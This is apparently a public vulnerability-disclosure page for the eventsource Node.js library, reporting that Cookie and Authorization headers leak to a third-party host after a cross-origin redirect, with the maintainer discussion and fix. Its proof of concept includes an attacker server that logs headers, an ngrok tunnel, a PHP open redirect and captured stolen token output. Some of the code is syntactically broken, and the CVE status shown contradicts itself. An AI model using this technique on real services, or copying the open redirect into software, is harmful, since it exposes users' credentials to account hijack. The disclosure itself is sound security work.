

Exposure of Sensitive Information to an Unauthorized Actor in eventsource/eventsource

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Valid

Reported on Feb 6th 2022

Exposure of Sensitive Information to an Unauthorized Actor in **EventSource/eventsource**

Reported on Feb 6th 2022 | Timothee Desurmont

Vulnerability type: [CWE-200](#)

Bug

Cookies & Authorisation headers are leaked to external sites.

Description

When fetching an url with a link to an external site (Redirect), the users Cookies & Autorisation headers are leaked to the third party application. According to the same-origin-policy, the header should be "sanitized".

Proof of Concept

Start a nodejs server (attacker):

```
const express = require('express')
const app = express()

app.get('/', function (req, res) {
  console.log(req.headers);
  res.status(200).send()
})

app.listen(3000)

console.log('Listening on port 3000')
```

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```
console.log( listening on port 3000 );
```

lunch ngrok (attacker):

```
ngrok http 3000
```

```
Session Status      online
Account             Timothee Desurmont (Plan: Free)
Update              update available (version 2.3.40, Ctrl-U to u
Version             2.3.35
Region              United States (us)
Web Interface        http://127.0.0.1:4040
Forwarding           http://cb45-92-98-215-185.ngrok.io -> http://
Forwarding           https://cb45-92-98-215-185.ngrok.io -> http://
```

Connections	t1	opn	rt1	rt5	p50	p90
	1	0	0.00	0.00	8.92	8.92

```
HTTP Requests
```

```
-----
```

```
GET / 200 OK
```



Add a redirect.php file in `\var\www\html` (mysite)

```
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
```

Run below code (mysite)

```
const EventSource = require("eventsourcing")

const mysite = "http://192.168.2.31";
const attacker = "http://cb45-92-98-215-185.ngrok.io";

const options = {
  method: 'GET',
  headers: {
    'Content-Type': 'application/json'
```

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        , 'Cookie': 'ajs_anonymous_id=1234567890"',
        "Authorization": "Bearer eyJhb12345abcdef"
    }
};

var es = new EventSource(`${mysite}//redirect.php?url=${attacker}/`, {

es.onerror = function (err) {
    if (err) {
        if (err.status === 401 || err.status === 403) {
            console.log('not authorized');
        }
    }
};
};

```



Response received by the attacker

```

[nodemon] starting `node server.js`
listening on port 3000
{
  host: 'cb45-92-98-215-185.ngrok.io',
  accept: 'text/event-stream',
  authorization: 'Bearer eyJhb12345abcdef',
  'cache-control': 'no-cache',
  'content-type': 'application/json',
  cookie: 'ajs_anonymous_id=1234567890"',
  'x-forwarded-for': '92.98.215.185',
  'x-forwarded-proto': 'http',
  'accept-encoding': 'gzip'
}

```

Consequence

Access Control: Hijack of victims account.

The attacker can steal the user's credentials and then use these credentials to access the legitimate web site.

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Suggested fix

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If the redirected url is different from the url domain, the Authentication & Cookies should be removed from the header.

Occurrences

JS eventsource.js L32-L311

CVE

CVE-2022-1650

(Published)

Vulnerability Type

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Severity

High (8.1)

Visibility

Public

Status

Fixed

Found by



Timothee Desurmont

@sampaguitas

legend ▼

Fixed by



Espen Hovlandsdal

@rexxars

maintainer

This report was seen 3,233 times.

We are processing your report and will contact the **eventsource** team within 24 hours.

10 months ago

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Timothee Desurmont modified the report 10 months ago

Timothee Desurmont modified the report 10 months ago

We created a **GitHub Issue** asking the maintainers to create a SECURITY.md 10 months ago

Timothee 7 months ago

Researcher

Hi @Admin, any update on above report?

Jamie Slome 7 months ago

Admin

I've dropped a comment on the GitHub Issue [here](#). Fingers crossed we get a response soon! 🙏

Espen Hovlandsdal validated this vulnerability 7 months ago

Thanks for reporting - I have a pull request with a fix awaiting review from the other maintainers: <https://github.com/EventSource/eventsource/pull/271>

Timothee Desurmont has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Timothee 7 months ago

Researcher

Hi Epson, thanks for validating the report. I am glad to hear that you already have a fix. If needed I can also submit a PR to patch the code (just let me know by dropping a message below) 😊

Timothee Desurmont submitted a patch 7 months ago

Timothee 7 months ago

Researcher

submitted the patch just in case...

Espen Hovlandsdal marked this as fixed in v2.0.2 with commit 10ee0c 6 months ago

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Espen Hovlandsdal has been awarded the fix bounty ✓

espen-research has been awarded the fix being 

This vulnerability will not receive a CVE 

eventsources.js#L32-L311 has been validated 

Matan [6 months ago](#)

I think that this one is also fixed in version 1.1.1 based on [this commit](#).
Am I mistaken here?
Thanks!

Espen [6 months ago](#)

Maintainer

You are correct, yes.

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